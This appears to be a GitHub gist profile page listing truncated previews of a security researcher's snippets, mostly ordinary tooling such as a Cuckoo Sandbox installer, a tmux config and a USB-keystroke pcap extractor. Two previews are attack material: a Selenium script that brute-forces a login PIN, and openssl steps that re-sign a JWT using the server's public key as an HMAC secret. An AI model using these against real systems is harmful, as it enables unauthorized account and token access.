Skip to content

Instantly share code, notes, and snippets.

View dubs3c's full-sized avatar
😈
I solemnly swear that I am up to no good

dubs3c dubs3c

😈
I solemnly swear that I am up to no good
View GitHub Profile
@dubs3c
dubs3c / cuckoo-install.sh
Last active February 3, 2024 10:35
Cuckoo Sandbox dependency install script for Ubuntu 20.04
#!/bin/bash
#
# Cucko Sanbox install script
# -----------------------------
# Tested on Ubuntu 20.04 LTS
# ~ dubs3c
#
# Add virtualbox repo to system
@dubs3c
dubs3c / bf.py
Created January 10, 2023 12:43
brrute force login using selenium
import time
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.chrome.options import Options
def crack(driver, pin:str):
driver.get("https://<website>");
login_btn = driver.find_element(By.XPATH, "<xpath>")
driver.implicitly_wait(1)
alias.lg log --color --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' --abbrev-commit
@dubs3c
dubs3c / jwt-sec
Created January 8, 2020 10:55
steps to extract public key from a TLS/SSL cert and transform it into a format that can be used by jwt tokens
# Copy Server certificate to cert.pem
openssl s_client -connect server.com:443
# convert public key to hex values
$ openssl x509 -in cert.pem -pubkey -noout | xxd -p | tr -d "\\n"
<output1>
# Sign the jwt data. Remove the original signature first
$ echo -n "<jwt-without-signature>" |openssl dgst -sha256 -mac HMAC -macopt hexkey:<output1> | cut -d " " -f2
<output2>
### Keybase proof
I hereby claim:
* I am dubs3c on github.
* I am dubell_truesec (https://keybase.io/dubell_truesec) on keybase.
* I have a public key ASCS39W1iLEBWUbVg34npt6oswJP3Uil2GR5q1HQSj5SEwo
To claim this, I am signing this object:
/*
Copyright (c) 2016, Nitin Gode
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the

Keybase proof

I hereby claim:

  • I am dubs3c on github.
  • I am mjdubell (https://keybase.io/mjdubell) on keybase.
  • I have a public key ASAUqaCMxOCMQJYT2FM69G2VSbtuYkChmZfMGFaI8zbzRQo

To claim this, I am signing this object:

@dubs3c
dubs3c / keyboard_extract.py
Created February 24, 2018 23:23
Extract USB keystrokes from pcap
#!/usr/bin/python
# -*- coding: utf-8 -*-
KEY_CODES = {
0x04: ['a', 'A'], 0x05: ['b', 'B'], 0x06: ['c', 'C'], 0x07: ['d', 'D'], 0x08: ['e', 'E'], 0x09: ['f', 'F'],
0x0A: ['g', 'G'], 0x0B: ['h', 'H'], 0x0C: ['i', 'I'], 0x0D: ['j', 'J'], 0x0E: ['k', 'K'], 0x0F: ['l', 'L'],
0x10: ['m', 'M'], 0x11: ['n', 'N'], 0x12: ['o', 'O'], 0x13: ['p', 'P'], 0x14: ['q', 'Q'], 0x15: ['r', 'R'],
0x16: ['s', 'S'], 0x17: ['t', 'T'], 0x18: ['u', 'U'], 0x19: ['v', 'V'], 0x1A: ['w', 'W'], 0x1B: ['x', 'X'],
0x1C: ['y', 'Y'], 0x1D: ['z', 'Z'], 0x1E: ['1', '!'], 0x1F: ['2', '@'], 0x20: ['3', '#'], 0x21: ['4', '$'],
0x22: ['5', '%'], 0x23: ['6', '^'], 0x24: ['7', '&'], 0x25: ['8', '*'], 0x26: ['9', '('], 0x27: ['0', ')'],
0x28: ['\n', '\n'], 0x2C: [' ', ' '], 0x2D: ['-', '_'], 0x2E: ['=', '+'], 0x2F: ['[', '{'], 0x30: [']', '}'],
@dubs3c
dubs3c / leetspeak.js
Created January 8, 2020 14:15
Convert href links to l33t speak on hover
function Leetspeak() {
var href_array = document.getElementsByTagName("a");
for (let index = 0; index < href_array.length; index++) {
var orginial = "";
href_array[index].onmouseover = function(link){
orginial = link.target.text;
link.target.text = link.target.text
@dubs3c
dubs3c / .tmux.conf
Created July 2, 2019 20:16
Better tmux config
# Set correct shell
set-option -g default-shell $SHELL
# remap prefix from 'C-b' to 'C-a'
unbind C-b
set-option -g prefix C-a
bind-key C-a send-prefix
# split panes using | and -
bind | split-window -h